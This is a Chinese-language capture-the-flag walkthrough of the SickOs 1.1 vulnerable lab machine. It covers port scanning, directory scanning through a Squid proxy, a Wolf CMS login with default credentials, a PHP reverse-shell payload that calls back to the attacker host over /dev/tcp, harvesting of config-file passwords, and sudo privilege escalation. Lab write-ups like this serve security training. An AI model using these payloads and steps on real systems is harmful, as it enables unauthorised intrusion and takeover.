sickos1.1靶机攻略

sickos

扫描阶段

传统两件套扫描

arp-scan -l

nmap -sV -A -p- 10.4.7.134

结果如图

开放22ssh,3128tcp 关闭8080

挨个尝试访问，只有3128端口有个错误页

重新查看3128的扫描结果

3128/tcp open   http-proxy Squid http proxy 3.1.19
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved

上网查询该squid服务为代理服务

在man命令下的帮助下即可进行目录扫描了

dirsearch -u http://10.4.7.134 --proxy http://10.4.7.134:3128

dirb http://10.4.7.134 -p http://10.4.7.134:3128

二者扫描结果如图，尝试进行访问

渗透

如图添加代理

再次访问主页，发现内容

发现没用，接着探查

发现内容/wolfcms，尝试访问

上网搜索一波相关内容，甚至发现了相关cve

发现admin后台页进入

http://10.4.7.134/wolfcms/?/admin/login

至此处毫无有效信息，只能盲猜传统密码了

最后发现账号密码都为admin

admin:admin

探查一番发现文件上传地方，此处上传个小马

但是发现没法执行该php文件，只能换个方式

此处将小马的内容写进其中一页里面去

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.4.7.130/12138 0>&1'"); ?>

发现在这写弹不进去，再换一个地方写

保存过后点击放大镜便执行了小马

成功反弹进去

进去过后unmae -a,whoami,id,sudo -l,find都试了试没啥用，最后看看文件里有啥东西，结果发现当前目录下有config.php文件

查看发现账号信息

root
john@123

查看passwd文件看看有哪些用户，此处发现和root一样是/bin/bash的有两个，但是考虑www-data也可以登录，所有/bin/sh的也考虑尝试

经过尝试发现sickos可以登录ssh

提权

id可以发现该用户可以用sudo命令

随后使用sudo提权成功

sudo -l
sudo su root